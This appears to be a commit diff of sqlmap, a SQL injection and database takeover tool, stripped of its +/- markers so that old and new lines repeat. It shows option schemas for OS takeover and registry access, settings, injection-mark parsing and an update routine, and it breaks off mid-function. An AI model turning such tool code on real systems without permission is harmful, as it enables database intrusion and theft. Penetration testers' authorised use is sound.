"File system": {
"fileRead": "string",
"fileWrite": "string",
"fileDest": "string",
},
"Windows": {
"regRead": "boolean",
"regAdd": "boolean",
"regDel": "boolean",
"regKey": "string",
"regVal": "string",
"regData": "string",
"regType": "string",
},
"Takeover": {
"osCmd": "string",
"osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
},
"General": {
#"xmlFile": "string",
"trafficFile": "string",
"batch": "boolean",
"binaryFields": "string",
"charset": "string",
"checkInternet": "boolean",
"crawlDepth": "integer",
"crawlExclude": "string",
"csvDel": "string",
"dumpFormat": "string",
"encoding": "string",
"eta": "boolean",
"flushSession": "boolean",
"forms": "boolean",
"freshQueries": "boolean",
"harFile": "string",
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"saveConfig": "string",
"scope": "string",
"testFilter": "string",
"testSkip": "string",
"updateAll": "boolean",
},
"Windows": {
"regRead": "boolean",
"regAdd": "boolean",
"regDel": "boolean",
"regKey": "string",
"regVal": "string",
"regData": "string",
"regType": "string",
},
"Miscellaneous": {
"alert": "string",
"answers": "string",
"beep": "boolean",
"cleanup": "boolean",
"dependencies": "boolean",
"disableColoring": "boolean",
"googlePage": "integer",
"identifyWaf": "boolean",
"mobile": "boolean",
"offline": "boolean",
"purgeOutput": "boolean",
"skipWaf": "boolean",
"smart": "boolean",
"tmpDir": "string",
"webRoot": "string",
"wizard": "boolean",
"verbose": "integer",
},
"Hidden": {
"dummy": "boolean",
"disablePrecon": "boolean",
"profile": "boolean",
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"liveTest": "boolean",
"stopFail": "boolean",
"runCase": "string",
},
"API": {
"api": "boolean",
"taskid": "string",
"database": "string",
}
}
"General": {
# "xmlFile": "string",
"trafficFile": "string",
"batch": "boolean",
"binaryFields": "string",
"charset": "string",
"checkInternet": "boolean",
"crawlDepth": "integer",
"crawlExclude": "string",
"csvDel": "string",
"dumpFormat": "string",
"encoding": "string",
"eta": "boolean",
"flushSession": "boolean",
"forms": "boolean",
"freshQueries": "boolean",
"harFile": "string",
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"saveConfig": "string",
"scope": "string",
"testFilter": "string",
"testSkip": "string",
"updateAll": "boolean",
},
"Miscellaneous": {
"alert": "string",
"answers": "string",
"beep": "boolean",
"cleanup": "boolean",
"dependencies": "boolean",
"disableColoring": "boolean",
"googlePage": "integer",
"identifyWaf": "boolean",
"listTampers": "boolean",
"mobile": "boolean",
"offline": "boolean",
"purge": "boolean",
"skipWaf": "boolean",
"smart": "boolean",
"tmpDir": "string",
"webRoot": "string",
"wizard": "boolean",
"verbose": "integer",
},
"Hidden": {
"dummy": "boolean",
"disablePrecon": "boolean",
"profile": "boolean",
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"liveTest": "boolean",
"stopFail": "boolean",
"runCase": "string",
},
"API": {
"api": "boolean",
"taskid": "string",
"database": "string",
}
}

26
lib/core/patch.py Normal file
View File

@@ -0,0 +1,26 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import httplib
from lib.core.settings import IS_WIN
def dirtyPatches():
"""
Place for "dirty" Python related patches
"""
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
httplib._MAXLINE = 1 * 1024 * 1024
# add support for inet_pton() on Windows OS
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)

View File

@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
"""
try:
__import__("gobject")
from thirdparty.gprof2dot import gprof2dot
from thirdparty.xdot import xdot
import gobject
import gtk
import pydot
except ImportError, e:
@@ -50,7 +50,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
if os.path.exists(imageOutputFile):
os.remove(imageOutputFile)
infoMsg = "profiling the execution into file %s" % profileOutputFile
infoMsg = "profiling the execution into file '%s'" % profileOutputFile
logger.info(infoMsg)
# Start sqlmap main function and generate a raw profile file
@@ -80,15 +80,20 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
if isinstance(pydotGraph, list):
pydotGraph = pydotGraph[0]
pydotGraph.write_png(imageOutputFile)
try:
pydotGraph.write_png(imageOutputFile)
except OSError:
errMsg = "profiling requires graphviz installed "
errMsg += "(Hint: 'sudo apt-get install graphviz')"
logger.error(errMsg)
else:
infoMsg = "displaying interactive graph with xdot library"
logger.info(infoMsg)
infoMsg = "displaying interactive graph with xdot library"
logger.info(infoMsg)
# Display interactive Graphviz dot file by using extra/xdot/xdot.py
# http://code.google.com/p/jrfonseca/wiki/XDot
win = xdot.DotWindow()
win.connect('destroy', gtk.main_quit)
win.set_filter("dot")
win.open_file(dotOutputFile)
gtk.main()
# Display interactive Graphviz dot file by using extra/xdot/xdot.py
# http://code.google.com/p/jrfonseca/wiki/XDot
win = xdot.DotWindow()
win.connect('destroy', gtk.main_quit)
win.set_filter("dot")
win.open_file(dotOutputFile)
gtk.main()

View File

@@ -14,11 +14,11 @@ _readline = None
try:
from readline import *
import readline as _readline
except ImportError:
except:
try:
from pyreadline import *
import pyreadline as _readline
except ImportError:
except:
pass
if IS_WIN and _readline:

View File

@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.2"
VERSION = "1.2.9.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -27,8 +27,9 @@ DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org"
DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
# colorful banner
BANNER = """\033[01;33m\
@@ -82,7 +83,7 @@ SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
# Regular expression used for recognition of generic permission messages
PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
# Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
@@ -224,7 +225,7 @@ PYVERSION = sys.version.split()[0]
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -299,6 +300,10 @@ BASIC_HELP_ITEMS = (
"wizard",
)
# Tags used for value replacements inside shell scripts
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
# String representation for NULL value
NULL = "NULL"
@@ -312,12 +317,12 @@ CURRENT_DB = "CD"
SESSION_SQLITE_FILE = "session.sqlite"
# Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
# Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = (
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
r"<li>Error Type:<br>(?P<result>.+?)</li>",
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -359,10 +364,10 @@ URI_HTTP_HEADER = "URI"
URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
# Regex used for masking sensitive data
SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
# Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10
@@ -383,7 +388,7 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
CUSTOM_INJECTION_MARK_CHAR = '*'
# Other way to declare injection position
INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%'
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
# Minimum chunk length used for retrieving data over error based payloads
MIN_ERROR_CHUNK_LENGTH = 8
@@ -401,7 +406,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
# Regular expression used for replacing non-alphanum characters
REFLECTED_REPLACEMENT_REGEX = r".+"
REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"
# Maximum time (in seconds) spent per reflective value(s) replacement
REFLECTED_REPLACEMENT_TIMEOUT = 3
@@ -424,6 +429,9 @@ HASH_MOD_ITEM_DISPLAY = 11
# Maximum integer value
MAX_INT = sys.maxint
# Replacement for unsafe characters in dump table filenames
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
# Options that need to be restored in multiple targets run mode
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
@@ -479,7 +487,7 @@ LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual c
REFLECTIVE_MISS_THRESHOLD = 20
# Regular expression used for extracting HTML title
HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>"
HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
# Table used for Base64 conversion in WordPress hash cracking routine
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
@@ -531,7 +539,7 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
BIGARRAY_CHUNK_SIZE = 1024 * 1024
# Compress (zlib) level used for storing BigArray chunks to disk (0-9)
# Compress level used for storing BigArray chunks to disk (0-9)
BIGARRAY_COMPRESS_LEVEL = 9
# Maximum number of socket pre-connects
@@ -590,7 +598,7 @@ HASHDB_RETRIEVE_RETRIES = 3
HASHDB_END_TRANSACTION_RETRIES = 3
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
HASHDB_MILESTONE_VALUE = "BZzRotigLX" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
# Warn user of possible delay due to large page dump in full UNION query injections
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -623,7 +631,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
# Regular expression used for recognition of file inclusion errors
FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
# Length of prefix and suffix used in non-SQLI heuristic checks
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
@@ -632,7 +640,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024

View File

@@ -60,6 +60,8 @@ def saveHistory(completion=None):
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
@@ -86,6 +88,8 @@ def loadHistory(completion=None):
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
@@ -104,20 +108,20 @@ def autoCompletion(completion=None, os=None, commands=None):
if os == OS.WINDOWS:
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({
"copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None,
})
"copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None,
})
else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete")

View File

@@ -8,7 +8,6 @@ See the file 'LICENSE' for copying permission
import errno
import os
import subprocess
import sys
import time
from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
import select
import fcntl
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor

View File

@@ -83,6 +83,7 @@ def _setRequestParams():
conf.parameters[None] = "direct connection"
return
hintNames = []
testableParameters = False
# Perform checks on GET parameters
@@ -101,7 +102,6 @@ def _setRequestParams():
if conf.data is not None:
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
hintNames = []
def process(match, repl):
retVal = match.group(0)
@@ -142,14 +142,14 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
_ = match.group(2)
_ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _)
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _)
_ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
kb.postHint = POST_HINT.JSON
@@ -230,9 +230,9 @@ def _setRequestParams():
if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found
conf.parameters[PLACE.POST] = conf.data
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters "
@@ -377,7 +377,7 @@ def _setRequestParams():
if condition:
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
testableParameters = True
if not conf.parameters:
@@ -391,7 +391,7 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg)
if conf.csrfToken:
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg)
@@ -449,13 +449,10 @@ def _resumeHashDBValues():
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \
injection.parameter in conf.paramDict[injection.place]:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
if not conf.tech or intersect(conf.tech, injection.data.keys()):
if intersect(conf.tech, injection.data.keys()):
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
if injection not in kb.injections:
kb.injections.append(injection)
@@ -574,14 +571,14 @@ def _createFilesDir():
Create the file directory.
"""
if not conf.rFile:
if not conf.fileRead:
return
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
if not os.path.isdir(conf.filePath):
try:
os.makedirs(conf.filePath, 0755)
os.makedirs(conf.filePath)
except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
warnMsg = "unable to create files directory "
@@ -603,7 +600,7 @@ def _createDumpDir():
if not os.path.isdir(conf.dumpPath):
try:
os.makedirs(conf.dumpPath, 0755)
os.makedirs(conf.dumpPath)
except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
warnMsg = "unable to create dump directory "
@@ -622,39 +619,41 @@ def _createTargetDirs():
Create the output directory.
"""
try:
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir:
warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
logger.warn(warnMsg)
except (OSError, IOError), ex:
for context in "output", "history":
directory = paths["SQLMAP_%s_PATH" % context.upper()]
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
if not os.path.isdir(directory):
os.makedirs(directory)
warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
_ = os.path.join(directory, randomStr())
open(_, "w+b").close()
os.remove(_)
paths.SQLMAP_OUTPUT_PATH = tempDir
if conf.outputDir and context == "output":
warnMsg = "using '%s' as the %s directory" % (directory, context)
logger.warn(warnMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
try:
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
os.makedirs(conf.outputPath)
except (OSError, IOError, TypeError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
@@ -672,8 +671,10 @@ def _createTargetDirs():
conf.outputPath = tempDir
conf.outputPath = getUnicode(conf.outputPath)
try:
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))

View File

@@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
except (KeyboardInterrupt, SqlmapUserQuitException), ex:
print
kb.prependFlag = False
kb.threadContinue = False
kb.threadException = True

View File

@@ -5,21 +5,30 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import locale
import glob
import os
import re
import shutil
import subprocess
import sys
import time
import urllib
import zipfile
from lib.core.common import dataToStdout
from lib.core.common import getSafeExString
from lib.core.common import getLatestRevision
from lib.core.common import pollProcess
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.settings import VERSION
from lib.core.settings import ZIPBALL_PAGE
from lib.core.settings import UNICODE_ENCODING
def update():
if not conf.updateAll:
@@ -28,11 +37,66 @@ def update():
success = False
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
logger.error(errMsg)
warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warn(warnMsg)
if VERSION == getLatestRevision():
logger.info("already at the latest revision '%s'" % getRevisionNumber())
return
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
if readInput(message, default='N', boolean=True):
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
try:
open(os.path.join(directory, "sqlmap.py"), "w+b")
except Exception, ex:
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
logger.error(errMsg)
else:
attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode
for wildcard in ('*', ".*"):
for _ in glob.glob(os.path.join(directory, wildcard)):
try:
if os.path.isdir(_):
shutil.rmtree(_)
